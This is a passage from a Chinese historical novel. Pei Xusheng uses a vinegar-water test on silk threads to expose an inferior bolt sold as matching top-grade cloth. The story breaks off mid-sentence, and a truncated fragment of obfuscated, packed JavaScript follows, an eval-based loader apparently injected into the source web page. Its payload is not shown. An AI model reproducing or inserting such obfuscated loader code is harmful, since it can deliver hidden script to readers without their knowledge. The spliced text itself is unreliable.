有好些同样的料子。”
女子这才神色稍缓,轻笑道:“原来如此,方才还以为,郡主已将这铺中的好料子尽数采买了去。”
“怎会,怎会。”周掌柜笑着回她,转身吩咐伙计去取。
不多时,伙计又捧出一匹云水绸与一匹软烟罗,除花色略有不同,质感光泽与荀素雪所选那几匹,几乎没有差别。
“姑娘瞧瞧,这两匹可合意?”他问道。
女子仔细验看,满意点头:“甚好,便要这两匹。”
周掌柜忙命人细心包好,态度殷勤备至。
黄昏时分,这两匹绸缎与荀素雪所购的那几匹,被悄然送至解忧阁中。
裴栩生将两匹云水绸并排铺在桌上,执灯凑近细照。
乍看之下,两匹料子在色泽、光泽上几乎毫无二致,可当裴栩生以指腹捻过缎面时,眉头渐渐蹙起。
“触感有细微之别。”他低声道。
说罢,他唤杨雨露端来一盆醋水,又执起铜簪自两匹绸缎上各挑起一缕丝线,分别浸入醋水中。
片刻,他将两根丝线提起,神色一凛:“这便看出来了。”
韩诗情与苏云鹤闻言,凝目看去。
只见自荀素雪那匹绸缎取下的丝线光泽依旧温润,而另一匹取出的丝线却泛起一层极淡的浊色,边缘处更是微微发毛卷曲。
“这是用稍次一等的生丝织成,再以特殊工艺染色,使之看起来与上品无异。”裴栩生放下铜簪,“若非行家,根本看不出差别。以醋水试之,方能识破。”
他盯着那两缕丝线,面色越发凝重:“同一个时辰、同一批料子,便敢做这等偷梁换柱之事,当真是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\